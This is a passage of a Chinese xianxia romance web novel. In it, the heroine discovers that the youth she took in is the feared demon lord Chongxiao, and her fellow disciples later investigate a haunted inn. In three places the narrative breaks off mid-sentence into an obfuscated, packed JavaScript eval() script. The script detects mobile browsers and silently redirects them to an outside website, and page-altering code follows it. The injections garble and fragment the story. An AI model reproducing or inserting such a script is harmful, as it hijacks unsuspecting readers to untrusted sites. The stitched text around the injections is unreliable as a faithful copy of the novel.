然而杜昱并不打算就此放过她:“还有谢师兄,和掌门是本家。涿郡谢氏,几百年间大能辈出,在各道上皆有修为高深的前辈在,颇重家族传承。” “燕师姐所在的燕家近来也是扶摇直上、如日中天,是修仙界近年来发展势头最猛的家族......” “行了,我知道了。”梁惜因打断他。想不到这天璇峰内竟是如此卧虎藏龙,所以是谁说阵修不行的??还有杜昱你为什么会这么八卦... 杜昱不知道自己被吐槽了,伸手拍了拍梁惜因的肩,真切道:“梁师妹,师兄看好你。” 梁惜因:“......” “多谢杜师兄了。” 今日能遇到杜昱实属意外之喜,毕竟他和叶天舟是她自来到这里后最早遇到的修士。也是从那时起,她开始慢慢接触这个世界。 临到分别时,杜昱又说:“对了师妹,你这些日子如要下山,记得小心些。” “怎么了?”梁惜因问。 “我也是今日刚从山下回来,陵州城内死了几个人,我和另几个同门便是奉百姓之请前去探查。” “特意来请玄晖宗出面,是妖魔作乱?” “不好说,那几人本是城中的地痞流氓,专爱干些扰民的勾当。不久前却有人在城郊发现了他们的尸体,死状极为凄惨,尸首分离,肠子都流了出来...不行,再想下去我刚吃的饭都要吐出来了。” 梁惜因:“......” “官府没有追查吗?” 杜昱愁道:“查了啊,但是除了那几个死人,现场一点痕迹都没有,所以怀疑是魔族或妖族所为。可我们几个去了后,却是一点妖气和魔息都没探查到,你说奇不奇怪,总不能是他们闹内讧把对方捅死了吧?” “总之师妹你多注意就是了,这几日城内不太平。” “好,多谢杜师兄。”她想起上次尾随自己的那几个流氓,应该不会这么巧吧...? 还是去信一封,提醒重霄多加小心好了。 梁惜因回去后一如既往的学阵修炼,但她隐约觉着自己好像忘了什么。直到这日,她和燕明昭经过天璇峰东侧的一处院落。 最先吸引她的是那一树梨花,晶明玉腻的花团密密地结在枝头,似云似雪,根枝粗壮挺拔,少说也长了有百年。和风轻扫,半树梨花都随之轻轻摇曳身姿,不时有花瓣飘落下来,纷纷扬扬,飘琼飞粉。空气中浮动着浅淡的花香,沁人心脾。 梁惜因伸手接住一片莹白如玉的花瓣,奇道:“这个时节就有梨花开了吗?” 燕明昭也望向那株梨树,神色微变,喃喃道:“这梨树已有百年不开花了,是何时...?” “等等,怎么走到这来了,快走快走。”她拉着梁惜因就要走,却没拉动。 梁惜因立在原地,出神地看着院门上的匾额,低声念道:“落雪轩...”最初她只是觉得这名字取得很是贴切,但后面不知为何,梁惜因生出了一种想要进去看看的冲动。 这念头是如此强烈,以至于令她不受控制的向前走了几步。燕明昭加大了拉她的力道,“师妹!” 这一声唤的梁惜因彻底回过神来,“师姐...” “没事吧?师妹你脸色有些不对劲啊。”燕明昭语速飞快地说。 “无事,我们走吧。”梁惜因低下头不再看那处。为着不让燕明昭担忧,又笑着说:“多谢师姐关心。” 燕明昭神色一僵,扭过头去:“谁关心你了?我可没有!” “原来是我自作多情...” “也、也还是有那么一点的。” 梁惜因还是忽视不掉心中异样,她问道:“师姐,那落雪轩是何人的居所?” 出乎意料的是,燕明昭听后竟如临大敌地盯着她:“嘘,师妹,小声些。” 见她警惕地观察着周围,梁惜因不由提醒道:“师姐,放心。这是天璇峰,基本不会有别的峰的修士过来。” 燕明昭双手抱胸,睨她一眼:“我当然知道!不过你既然提起这事,那自然是要多谨慎些。” 梁惜因想起她忘了什么了,“师姐,‘这件事’究竟是何事?”怎么一个两个提起来都这般讳莫如深。 “你是真不知道?”燕明昭打量了她一眼,见她那惑然的神情不似作伪,才叹了口气道:“好吧,这可就说来话长了。” 她靠近了些,压低声音说:“师妹,那你可曾听说过魔尊重霄的名号?” “什么?!”愣了几息后,梁惜因猛地大喊道。 燕明昭浑身一激灵,捂着耳朵后退了几步:“师妹你这是...?”她有说什么很令人震惊的东西吗?? 梁惜因赧然道:“抱歉师姐,有些激动。”重霄...会是她想的那个重霄吗? 她在燕明昭充满不信任的眼神中再度凑了过去:“师姐你再说一遍。” “魔尊重霄...” 梁惜因打断她:“等等,这魔尊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“太师祖当年便是领了一个魔族小孩入天璇峰修行阵法,这孩子就是后来的魔尊重霄。他与一般的魔族不一样,玄仪子前辈算出他是这世间怨气的化身,注定难以被教化。” “但素有‘观音面,慈悲心’之称的太师祖不信这些,她细心教导她的这位徒弟,几乎称得上是无微不至了。结果就是重霄在一次秘境试炼中杀害同门,重伤师兄,乃至后来被逐出玄晖宗,占据漆吴山。” “魔族生性慕强,纷纷闻风而至,将重霄奉为魔尊,将漆吴山当作老巢,为祸世间。众门派自是不会就这般放任下去,于是聚众围剿漆吴山。太师祖当时负责最关键的封印大阵,可最终却被那忘恩负义的东西当众杀害于阵前。”燕明昭的语调隐隐带着些颤抖。 “不止太师祖,整个修仙界都在那一战中受到重创,死伤无数。后来经过修整,修仙界开始第二次大战,这才终是杀死了那魔头。那魔头死前不知为何,亲手将漆吴山封印了。但仍有不少魔族在世间流窜作恶,人魔两族仇恨日深,以至于到了如今的‘谈魔色变’。 “玄晖宗在两次大战中损失惨重,不止是太师祖,其余各峰峰主皆受了不同程度的伤,天玑峰峰主更是修为尽失。所以这么多年过去了,宗内众人仍是心照不宣的对当年之事避而不提。” “这些年竟还有人道是玄晖宗亲手养出了一个祸害,说太师祖心慈手软,没有尽早除掉重霄,这才导致了后面的生灵哀怨、世间动荡。”燕明昭蹙眉,俏丽的脸上满是愤懑,“我呸,太师祖是阵法的一代宗师,为人最是善良公正,那魔头早年作为她的弟子,悉心相待又有何错?再说了,谁又能料到重霄此后的所作所为?” “不过阵这一道确实是自那时起开始衰落的,”燕明昭叹道,“本来阵修就不多,从那以后更少了。一是顾忌着那魔头先前也是阵修,二是自太师祖去后,许多阵法的修炼要诀也就跟着失传了。” “你方才问的落雪轩便是太师祖曾经的住处,里头的梨树有灵,一年四季常开不败。”燕明昭自顾自说着,突然意识到脚边的那团身影已经很久没有动静了。她弯腰问道:“师妹,你还在听吗?” 梁惜因:“......嗯。” “我说完了,师妹你还走不走了?不会蹲麻了吧?” 梁惜因...梁惜因感觉自己已经碎掉了,她到底捡了一个什么人物回去啊??? 14. 身份 梁惜因这几日的精神状态一直很是恍惚,不断忆起她与重霄相处的点滴。燕明昭那日口中的重霄与她认识的阿霄完全判若两人,她很难说服自己相信这一切,哪怕这些都是已经发生过的事实。 心内的疑点也是日益增多,这么说的话,魔尊重霄早在两百年前就死了,为何又会变成孩童模样给她捡到?而且都说魔尊无情无欲、残忍嗜杀,她却实在做不到将这些词安在阿霄身上。 可...如果他失去记忆了呢? 是了,初见时的重霄与普通小孩并无太大差别,不像是有记忆的样子。此后重霄一直跟在她身边,更是从未表现出任何异样,直到...上一旬她下山,她确实感到重霄与往日有些不同。 梁惜因按以往的时间准时推开院门,然而门刚一打开,她就被拥入了一个怀抱。 重霄紧紧抱着她,身体轻颤,嗓音极低地唤了一声什么。梁惜因没听清,她伸手回抱住重霄,心里思忖着不过是又过了十天而已,何至于这么大反应?? 梁惜因被抱得有些喘不过气,她轻轻拍了拍重霄的后背,柔声问:“怎么了,阿霄?” 重霄没回话,就这样静默地抱着她,良久才哑着声音说:“无事,只是做了个噩梦。” 梁惜因轻笑一声,安慰他道:“一个梦而已,都过去了。”怎么还跟个孩子一样,这么容易被梦吓到。 重霄稍稍拉开了些距离,一手轻抚着梁惜因的面颊,缓缓重复着她的话:“都过去了...” 他的眸中是梁惜因从未见过也看不分明的情绪,既像煦日下惹人沉醉的融融春风,又似暗藏着无数惊涛骇浪,让人不禁想要沉沦其中。 这给梁惜因一种很是陌生的感觉,也是在这一瞬间,梁惜因感到她似乎丝毫不了解眼前之人。 喉间无意识地滑动,她问:“怎、怎么了吗?” 重霄蓦地收回手,眼底情绪瞬间消散殆尽,仿若方才只是梁惜因的错觉,“无事,让姐姐见笑了。” 梁惜因本还欲再问,但见重霄之后又表现得一切如常,便也罢了。现在想来,那个所谓的‘噩梦’可疑得很啊!! 若重霄当真恢复了记忆,那她把他带在身边这个决定又到底是对是错?就这么一直思索到下山当日,梁惜因最终还是没有改变她心中最初的想法,与其对那些或真或假的传闻深信不疑,她更愿意相信一直陪在她身边的阿霄。 就算是魔尊又如何?这些日子以来,他不仅未伤她分毫,更是一直陪着她,给她支持和帮助,让她第一次在这个世上有了牵挂。她早就...把他当作家人了。 推开眼前质朴的木门,耳边传来一道故作委屈之声:“姐姐怎么才来?” 再次听到重霄那低沉悦耳的嗓音,梁惜因进门的动作下意识的一顿,脑中又响起燕明昭那日的话语...魔尊重霄。 这一路无论做了多少心理准备,她还是无法再像以前那样当作什么都不知道。 重霄观察着她的神色,问道:“怎么了,姐姐,发生何事了?” 梁惜因深吸一口气,第无数次地望向她本以为再熟悉不过的人。入目的男子身着玄衫,长身玉立,皮肤苍白得不见血色。五官有如玉刻般精致,鼻梁高挺,双眉修长,一双瞳孔极黑,就如深不见底的幽潭,不含一丝情绪。 眼下的两枚红痣则给他平添了几分妖冶诡谲,眉间的红色纹样隐隐能看出“怨”的字形,其间似蕴藏着森森鬼气。 微风吹动了他垂在额前的几缕发丝,重霄嘴角勾起一个极浅的弧度:“姐姐,你都知道了?” 话音刚落,本来惬意的微风骤然加大,凄厉的风声尖啸着在院内席卷,天边的乌云吞噬着冷白的太阳,给大地投下一片不由分说的阴影。 “嗯。”梁惜因本就没想着瞒他。 “那姐姐...要丢下我了吗?”他一字一顿、极为缓慢地道。 梁惜因忽然感到周身萦绕着一股寒意,她久违的又看见了那自重霄身上散发出的缕缕黑雾。 沉默在这一方小院中蔓延着,梁惜因面上却是绽开了一抹笑意:“当然不会。”她上前轻轻拥住他,“你可是我的阿霄啊。” 重霄身体僵硬,瞳孔微微放大,愣住了般的许久没有动作。 半晌,他自嘲地笑了一声:“姐姐不介意吗,我可是魔尊啊。” 比起听燕明昭说,显然是听他亲口承认的冲击力更大。但梁惜因只是又把他抱紧了些,“那又如何,我只相信我亲眼见到的。不论此前发生过什么,你如今都只是阿霄而已。” 重霄眸色幽深,他静了片刻,终是慢慢回抱住了她。他把头埋在梁惜因的肩窝处,嗓音里带着丝极难察觉到的哽咽,“姐姐,这次不要再离开我了...” “好好好,我何时真的离开过你,哪次没有再回来过?”梁惜因道,语气更是温柔了几分。头顶上笼罩的黑云不知消散于何时,日光暖洋洋地洒在人身上,风也渐渐隐没了声息。 这副场景和十日前是如此相似,梁惜因问他:“所以你是什么时候想起来的?上旬吗?” “嗯。”随着对体内黑雾的掌控,他的身体慢慢恢复至成人模样,记忆也随之复原。 想起他那次的表现,梁惜因迟疑着问:“阿霄,你之前...是不是认识我啊?” “不是,”重霄答得肯定,“怎么会。” “那是我多思了。”梁惜因不疑有他,毕竟她此前一直生活在现世。 “只是那日刚记起来没多久,有些不适应罢了。” 也是,残害同门、弑师叛逃、两度围剿...这哪个正常人能适应得了啊?? 思及此,梁惜因犹疑片刻,斟酌着开口道:“阿霄,那些事...”她总觉得另有隐情。 “姐姐莫要相信他们。”重霄说话时一直深深凝视着梁惜因。 “我自是相信阿霄的,但阿霄不想说的话也无妨。”梁惜因也不愿他因回忆那些往事而感到痛苦。 重霄默了须臾,垂着眼睑道:“等以后吧,以后我再说与姐姐听。” 说完,他往后退了些许,握住梁惜因的左手手腕,从指尖凝出一缕黑气,注入到了她的体内。 梁惜因好奇道:“这是什么?” “是怨气。姐姐以后若是遇到了危险,我便能感知到了。” “这么神奇?”怨气入体后并未留下丝毫痕迹,梁惜因转了转手腕,也没察觉出有什么不一样来。 重霄看着她的动作,含笑问她:“姐姐就不怕我会害你?” 梁惜因眸光轻动,回道:“你要是想害我,早就可以下手了。这世上就没有人比阿霄更让我放心了。” 脑中忽然闪过什么,梁惜因望着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358972|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说:“所以这就是为什么梁府找来的那三人会探查不到你。” “是,他们那罗盘只能探查出一般的魔息,而探不出怨气。”重霄挑眉道。 “难怪...”这事还真不能细想,越想疑点越多,“那山羊胡说的见鬼...” “咳,是我吓唬他的。” “不会连梁宣的病...” “只是给他些教训罢了,谁让他为难姐姐。”重霄理直气壮,眼神却飘忽起来。 他这副心虚的模样看得梁惜因有些好笑,“也不是要怪你,但你下次要记得和我说一声。”她说。 “好,听姐姐的。”重霄应声。“我今日做了千层糕,姐姐可要尝尝?” “要!” 临到分别时,梁惜因还不忘叮嘱道:“你若是要出门,千万记得小心些,别被人给发现了。”两百年对修仙界来说并不算长,许多当年之事的亲历者仍在各宗门内修行着,并时不时会下山游历。 “那是自然,姐姐放心。” “嗯。”梁惜因又深深看他一眼,“那我回去了,阿霄。” * 天璇峰正中用于练阵的空地上,燕明昭一手托着脸,对另外两人说:“我觉得小师妹近来有些不太对劲。” 柳甫畅斜倚在一棵古木上,把玩着手中的玉扳指:“师妹她能有什么不对劲,我看就是你想太多了。” 燕明昭不理他,又问谢淳:“师兄,你看呢?” 谢淳放下手中的书,思索少顷,说:“小师妹下山的次数,好像是多了些。” “我也觉着。”燕明昭一拍掌,“虽说一旬可以下山一次没错,但很少有弟子是每旬都下山的,且师妹每次回来心情都特别好。” 柳甫畅轻抬眼帘,不以为意道:“所以?说不定只是回去探亲了。” “可梁府不是在皇城吗,师尊也说师妹与家中人关系并不好,只有一个弟弟相依为命。” “哟,没想到你这么关心师妹啊,还特衣去和师尊打听这些。”柳甫畅戏谑道。 燕明昭双颊涨红,瞪着他道:“闭嘴!没和你说话!” 她伸出两根手指,接着说:“所以有两种可能,一是师妹和她那弟弟感情深厚非常,这二嘛...” 谢淳问:“是何?” “就是师妹被陵州心怀不轨的男子给哄骗了。” 谢淳:“......” 柳甫畅:“......为何一定是哄骗?” 燕明昭斜他一眼:“你傻啊,师妹那般单纯年少,世上人心又如此复杂,那些油嘴滑舌的男子哄小姑娘更是一哄一个准,师妹要是真陷进去了可怎么办?” 她说起来煞有其事,说到后面还真显出几分焦急来。谢淳和柳甫畅对视一眼,从对方的眼中看出了同样的困惑——女人的想象力为何能恐怖如斯? “不行,”燕明昭踱着步子,“下次师妹下山时我得跟去看看,不然实在是不放心。” “带我一个,”柳甫畅轻摇手中折扇,“我倒要看看是何人能把我们的小师妹给迷住。” 谢淳轻叹:“那我也去吧。”不然还真不知这两人能整出什么幺蛾子来。 于是一旬后,当殷照难得没喝酒想好好教导一番几个爱徒时,却发现天璇峰上空无一徒。 殷照:“?”人呢?? 15. 委托 谢淳看着前方燕明昭气势汹汹的背影,压低声音对柳甫畅说:“师弟啊,你以后少给师妹看些话本。” 柳甫畅以扇掩唇:“你以为我想啊,她跟我要我能有什么办法。” 燕明昭乍然回头:“你们在那嘀嘀咕咕什么呢?” 柳甫畅飞快和谢淳拉开距离,摇着扇子道:“说师姐真是慧眼如炬,神机妙算。” 燕明昭将信将疑:“当真?” 柳甫畅面不改色:“再真不过了。” 谢淳:“......” 他在燕明昭再次扭头后拉过柳甫畅,继续无奈道:“你也少看点。” “你俩走快些,要跟不上了。”燕明昭催促道。 “来了,师姐。”柳甫畅加快步子,还不忘对谢淳比了个“师兄你放心”的眼神。 谢淳:“......” 就在这时,前方不远处的梁惜因忽然回身,三人俱是一惊,急忙闪进最近的一家店铺内。 店家:“......?” 燕明昭缓着剧烈的心跳,问两人道:“师妹没有看到我们吧?” 柳甫畅探出半个脑袋:“应是没有,我们躲得够快。” 燕明昭也向外看去,见那纤细的身影已快走远了,又急道:“快走快走,要看不到师妹了。” 店家在旁疑惑地看着三人,此时非常没有眼力见的凑了上来:“几位要吃些什么?我家的馄饨可是陵州一绝。” 他正巧挡在燕明昭面前,燕明昭向左走,他也向左;燕明昭向右走,他也跟着向右,还兀自挂着笑道:“几位客官,尝尝看嘛,不好吃不要钱。” 燕明昭:“......” 为防燕大小姐当众发火,柳甫畅眼疾手快地抛了一锭金子过去,“不用,你快些让我们走就行。” 店家手捧着那锭金子,神情呆滞。他用牙咬了咬,好家伙,这可是真金子啊! 三人一路小跑,边走边藏,他们出店时刚好看见梁惜因向右拐过街角,这才不至于跟丢。 柳甫畅忍不住吐槽一句:“师姐,我怎么感觉我们鬼鬼祟祟的和做贼一样?” 燕明昭瞪他一眼:“闭嘴,就你话多。” 见梁惜因进了一处小院,三人放轻步子,分两侧站在了门外。 院中,梁惜因正小口吃着重霄刚做好的糯米糕,就见重霄端起茶盏抿了一口,淡然道:“门外有人。” 梁惜因吃糕点的动作一顿:“啊?” “还是三个人,跟在姐姐后面来的。”重霄补充道。 梁惜因放下吃了手中吃了一半的糯米糕,微微有些紧张。这三人跟着她作甚?莫不是...察觉到了重霄的身份?不会的,她和重霄一向谨慎,从没露出过破绽。思及此,她又慢慢安下心来。 重霄看出了她的顾虑,说道:“无妨,有我在,没人能伤到姐姐。” “这我自是相信阿霄的。”说起这个,梁惜因也不知自己之前哪来的自信,竟大言不惭地说要保护堂堂魔尊... “只不过还是小心些为好。”她本想进屋去拿妆粉,却见重霄已隐去了面上的纹样与两枚朱砂痣。 她奇道:“咦?这是怎么...” “也是恢复记忆后想起来的,只要不过多使用怨气便不会显露出来。”重霄解释道。 “那可就方便多了。”梁惜因面露惊喜。随后和重霄对视一眼,两人一同走向门口。 门外,燕明昭正侧耳凝神听着。她隐约听见是一道男声在和师妹对话,那声音听着低醇,像是青年男子才有的,与她想象中弟弟该有的声线相差甚远。 燕明昭感觉心中的猜想被证实了,这趟还真没白来啊!她小步走到两扇门中间,想推开一道小缝看看。结果她手刚放到门上,眼前的门就突然被打开了,与那“吱呀”开门声同时响起的是一道厉喝:“谁?!” 燕明昭一个没站稳,向前踉跄了几步,一抬头就和梁惜因对视上了。 梁惜因一怔:“......师姐?” 那剩下两人该不会是...她走出门看向另一侧,果然看见了谢淳和柳甫畅。 柳甫畅的神情竟比她更为惊讶,他走到大门的正前方,用扇子指了指谢淳和院内的燕明昭,语气充满了不可置信:“师兄,师姐,你们怎么能干出尾随师妹这样的事来!还正巧被路过的我给目睹了,真是世风日下啊。不说了,我得回玄晖宗去了。” 谢淳:“......” 燕明昭:“......” 柳甫畅挥了挥衣袖,刚转身准备潇洒离去,就被突然出现在他面前的重霄吓得大叫一声。他捂着心口说:“这位公子,你怎么神出鬼没的?” 梁惜因看着眼前的糟心场景,扶额道:“好了,都进来吧。” 燕明昭和柳甫畅坐在桌前,低着头眼观鼻鼻观心,不去看梁惜因。谢淳则起身坦然拱手道:“此次前来叨扰了小师妹和这位公子,对不住了。” “大师兄何必如此,快坐。”梁惜因连忙说。 “我先给你们介绍一下吧,阿霄,这三位便是我同你说过的师兄师姐。师兄师姐,这位是我弟弟...梁霄。” 柳甫畅接道:“梁霄,良宵。好名字啊,正配公子这般仪表不凡之人。”他试图用夸赞来掩饰自己方才的尴尬。 燕明昭抬眸看向他们,眼底闪过惊讶,所以这真的是姐弟俩啊??且不说两人的岁数看着便极为相近,小师妹面目柔和清润,和她身旁那眉眼凉薄、气度冷峻的男子更是毫无相像之处。 但人梁惜因都这么说了,还能有假不成? “原是梁公子。”她说。 重霄淡淡点头,以示回应。 “所以...师兄师姐你们为何会在院门口?”梁惜因百思不得其解。 “因为师姐她担心...”还没说完,柳甫畅的表情就变得扭曲起来。 燕明昭一脚踩着他,咬着牙悄声威胁道:“姓柳的,刚才那件事我还没找你算账呢。” “......担心师妹你找不到回宗的路,特地带我们前来接你。”柳甫畅转而道。 梁惜因:“......?” 燕明昭闭了闭眼:“...你还是闭嘴吧。” 梁惜因又对燕明昭说:“无事,师姐,你说吧。” 燕明昭纠结了半天,终是不敌自家师妹那诚挚的目光,深吸一口气,语速极快地低声道:“好吧,其实就是我看师妹你每旬下山,怕你会被什么有心人哄骗,所以想跟过来看看。” 重霄:“......”总觉得这话有些怪。 为了让自己听上去不那么莫名其妙,燕明昭又补充道:“虽然现在看来不是那么回事,但那又如何,师姐我这是关心你!”她嗓音逐渐加大,耳根通红。 梁惜因眼中盈满笑意:“是,我知道,师姐是放心不下我,师姐真好。” 耳根上的红意蔓延到双颊,燕明昭轻哼一声:“知道就好。” 柳甫畅:“......”所以他刚刚挨的那一脚算什么? 他目光一转,看到了桌上剩的那半块糯米糕,便问道:“师妹,这是什么点心?” “是阿霄做的糯米糕,你们要吃的话...” “没了。”她正想说厨房里还余不少,就听重霄来了这么一句。 梁惜因以眼神询问他,重霄向她弯了弯双眸,继续面不改色道:“做得不多,已经没了。” 柳甫畅语带遗憾:“那还真是可惜了,本以为能尝尝梁兄的手艺。” 梁惜因对重霄的小心思回过味来,心里一时又是好笑又是欢喜。 见蹭不到点心且气氛愈发凝滞,三人便起身告辞。回宗的路上,柳甫畅问燕明昭:“师姐,下次我们还跟吗?” 燕明昭:“......闭嘴。” - 柳色含晴,梅心沁暖。不知不觉间,梁惜因来到这个世界已有一年了。 这日她和师门其余三人在陵州城的街道上走着,两旁商贩叫卖声不断,如织的行人多已换上了轻便的春衫,不时有孩童笑闹着沿街追逐,一派祥和之景。只是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“师弟,此番并非儿戏,事关我们阵修的声名和未来的希望。”他道。 “是,师兄放心,我有分寸。”柳甫畅摇着折扇。 燕明昭低声对梁惜因说:“师兄又开始了。” 梁惜因本还不解这是何意,就听谢淳继续道:“难得有这么次机会,定要好好表现,方不算辱没了我们阵修的名声。阵道衰微百年,若是你我再不作为,何以面对此道先人?又何以激励后学之人?” “开始了他的阵道复兴说。”燕明昭补充道。 梁惜因:“......”懂了。 看着谢淳痛心疾首的模样,梁惜因忍不住劝道:“大师兄,这也不是我们几个能决定的,不必有这么大压力。” “不,小师妹,你我身为当世阵修,一举一动都至关重要,自当身先士卒,给后世留下美名。遥想几百年前,阵修之中也是人才济济,再观当下,明明有天赋却不愿学阵的大有人在。可阵法变化多端,精妙非常,若无人传承,长此以往只怕是...” 柳甫畅听得头脑嗡嗡,恰巧此时已能看见那听松客栈了,忙打断他道:“诶,师兄,先别说了,我们到了。” 梁惜因也向那处望去,只见那客栈飞檐翘角,雅致古朴。虽不位于城中心的繁华地段,但靠近城门,人来人往,倒也算得上是处不错的选址。 她正要走进店内,忽听身后有人唤了声:“姐姐?” 梁惜因循声回头,就见重霄立在不远处,身姿卓绝。她喜道:“阿霄,你怎么在此处?” 重霄走上前来:“出来随意走走,不想遇到了姐姐。” 另三人也都看到了重霄,拱手道:“梁公子。” 重霄一一回礼,问梁惜因:“姐姐,你们这是...?” 梁惜因觉得此事也没有瞒他的必要,便如实道:“受了一桩委托,来料理此间异象。” “可是听松客栈之事?我也略有耳闻。既如此,我可否与姐姐一道?” 谢淳出面说:“梁公子,此行凶吉难料,还望公子慎重考虑。” “无事,大师兄,我平日里也有教导阿霄,他修为不低的。”梁惜因说。甚至比在场所有人加起来都要高... 柳甫畅想起那日重霄的“瞬移”,也说:“是啊师兄,师妹都这么说了,多个人多份力嘛。” 谢淳似是还想说些什么,但最终也只是应道:“那还请梁公子小心为上,遇到反常之事及时告知我等。” 16. 幻阵 一行人走入店内,店中陈设典雅精美,用料看着便极为讲究,隐隐约约的淡香萦绕在众人鼻尖。光论布置,比起皇城中的一些客栈也是毫不逊色。 只是这店中过于安静,就显得空旷起来。眼神无意中扫过墙角的阴影时,心内就莫名升起一股压抑感。 此时只剩掌柜和一个店小二坐在柜台前,见有人来了,头也不抬地说:“本店近日不接客。” 谢淳出示玄晖宗的身份令牌,“吴掌柜,我们乃是天璇峰的弟子,特来料理异象。” 吴掌柜和店小二一听,猛地抬起头来,激动地嚎道:“仙长啊!你们可算来了!” 吴掌柜吩咐店小二去备茶水,自己则连扑带跑地上前殷勤道:“哎呀,几位仙长,这不穿宗服我都没认出来,怠慢了怠慢了。” “无妨,”谢淳说,“吴掌柜可否再同我们说说你的这家客栈?” 几人围桌而坐,一提起这个,吴掌柜就满面愁容,眉心拧成一团:“几位仙长,这客栈是小民于一年前买下的,整装完后才开业没多久,怎料就出了这样的事!” “我可是把全部身家都用在这上面了,要是、要是这客栈开不下去了,那我还活什么啊...”他擦了擦眼角,胸口起伏着,本来瘦小的身形更显佝偻。 “掌柜的,你先别急。”燕明昭手中握着茶盏,不缓不急地说:“你说这客栈是你去年买的,那在你买之前此处被用作何用?可有发生类似之事?” 吴掌柜愁容不减:“这位仙长有所不知,此地先前本是座乐楼,在二十多年前与西朔的战争中遭焚毁。之后不断有人言说此地不详,便一直被废弃不用,直到被我从官府手中买下。” 梁惜因惑然道:“既是不详,你又为何要买?” “因为便宜啊。”吴掌柜眨巴着眼。 梁惜因:“......”无法反驳。 “那你在动工时就没遇到过什么怪事吗?比如房梁突然断裂什么的。”柳甫畅问。 “有是有,但我以为那只是我比较倒霉。” 柳甫畅:“......”某种意义上你说的也没错。 “而且都过去这么多年了,怎知还是出事了。几位仙长,这次可就拜托你们了,你们一定要帮帮小民啊——”他说着竟是弯下身子要给几人下跪,谢淳急忙扶住他,“掌柜不必如此,我等身为玄晖宗弟子,定当尽力而为。” 在吴掌柜和店小二的千恩万谢声中,燕明昭问了句:“对了,吴掌柜,我从方才就想问了,你们店中的香炉用的是何种香料?闻着有些熟悉。” 吴掌柜和店小二对视一眼,结结巴巴答道:“仙、仙长,我们店中从、从未备过香炉啊。” “当真?”柳甫畅问,显然这股暗香他们都闻到了。 “真的啊仙长,”吴掌柜不知想到了什么,五官皱成一团,又是害怕又是想哭,“这该不会是...” 燕明昭抬手制止他:“行了,不必多说了,给我们几人将房间备下,你们今晚也莫要留在此处。” 店小二缓过神来,为难道:“仙长,我们店的房间怕是不够用,就剩四间了...” 燕明昭诧异地问:“那其余的房间呢?不会还有人在住吧?”这客栈看着是不大,但也不至于连五间房都拿不出吧。 “是这样的,前些日子不少房间都糟了那些受幻觉影响的客人破坏,尚未修复好,眼下只剩四间能住人的了。”店小二神色讪讪。 “算了,既然这样...”燕明昭抱着双臂,看向梁惜因,剩下的话还没说完,就见那梁公子拉着自家师妹说:“姐姐,我和你一间。” 燕明昭:“?” 梁惜因看出了燕明昭的震惊与迷惑,迟疑着说:“阿霄,要不...” 重霄望着她,眼睑半垂,眸中带着几分委屈与落寞:“姐姐要抛下我了吗?” 梁惜因:“......”对不住了,师姐! 她弱弱的喊了声燕明昭:“师姐...” 燕明昭:“......” “也罢,梁公子确实是需要多加小心,我就不拆散你们姐弟俩了。” 梁惜因抱住她的手臂,笑道:“就知道师姐最好了。” 燕明昭试着想把手抽出来,但没成功,她扭过头去,说:“知道就好!” 几人拿上钥匙,上楼去各自的房间。 柳甫畅见燕明昭站在房门口却不进去,反而一直盯着梁惜因和重霄的那间房,便问了句:“师姐,你不会又后悔了吧?” 燕明昭白他一眼,说:“师弟,你觉不觉得这两人有些怪?” “怪?哪里怪?”柳甫畅不解。 “我也说不清,但就是感觉很怪。”尤其是重霄看着师妹的眼神,总觉得不像是作为一个弟弟该有的。但她没有弟弟,是以也不能确定,又怕自己是和上次一样想多了。 越想越烦,燕明昭拉开门走进房间,“说了你也不懂!”只留给柳甫畅这么一句话和眼前冰冷的木门。 柳甫畅:“......”他就多嘴问这么一句! 察觉到一旁谢淳关切的目光,柳甫畅展开手中的折扇摇了摇,没头没脑地来了一句:“诶,师兄,怎么才入春就这么热了?” 谢淳:“......”他还是进房吧。 房间内,梁惜因对重霄道:“阿霄,你要不先休息会,离天黑还有一会呢。” 既然那些受害者都是一觉醒来后开始变得疯癫,那就说明夜晚是入阵的契机。他们此行装作普通的住客,就是为了先入阵再破阵。 “那姐姐呢?” “我...”梁惜因有些犹豫,房内只有一张床啊。 重霄坐到床的一侧,看出了她的顾虑,“无妨的姐姐,这床可比梁府中的大多了。” 梁惜因:“......”这是床的大小问题吗... 重霄还在兀自说着:“我已是许久没和姐姐睡一张床了。”纤长的睫毛掩住了他的眸色,但他语气中的失落和期待却分毫不似作假。 梁惜因内心挣扎片刻,最终还是妥协了。反正就只是躺一会而已,又不是真的休息一整晚,而且重霄这样她真的很难拒绝啊! 她和衣躺上床的一侧,说:“那便一道睡会吧。” “好。”重霄轻笑,也躺下了。 说是睡一会,但梁惜因也只是在闭目养神而已,实则时刻注意着周遭的动静。 天地皆静,耳边惟余松声飒飒。 想起不久前在窗边看到的松林,听松客栈这名字倒也名副其实。只是一联系起那些骇人听闻的传言,这本清泠泠的松声似是也染上了几分诡异,细听之下,令人遍体生寒。 思绪纷飞间,梁惜因总觉有一道目光落在了自己身上。她睁眼向身侧之人望去,却见重霄仍是阖眸躺着,眉目舒展。 她复又闭上双眼,难不成只是错觉?但这次与之前不一样的是,没过多久,她耳边就响起了一道细弱的哭声,时近时远,断续不绝,掺着幽怨、悲苦、不甘... 这次绝不是错觉了。梁惜因翻身坐起,入目的却不再是一片漆黑,而是一间装潢华美得有些轻浮的卧房。 入阵了。 在她身边的重霄已不见了踪影,梁惜因从床上起身,警惕地观察着这间房。雕花的木床上挂着层层红色纱幔,地上铺着厚厚的绒毯,每走一步便会陷进去一点。床前的梳妆台上散落着各式珠宝和胭脂水粉,梁惜因随意拿起一盒胭脂看了看,闻到了一股极淡的花香。 